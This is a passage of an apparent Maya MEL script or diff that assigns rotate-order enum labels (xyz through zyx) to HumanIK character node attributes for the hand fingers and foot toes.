0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootMiddle4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRing4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootPinky4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootExtraFinger4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootThumb4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", 0, "xyz" ); 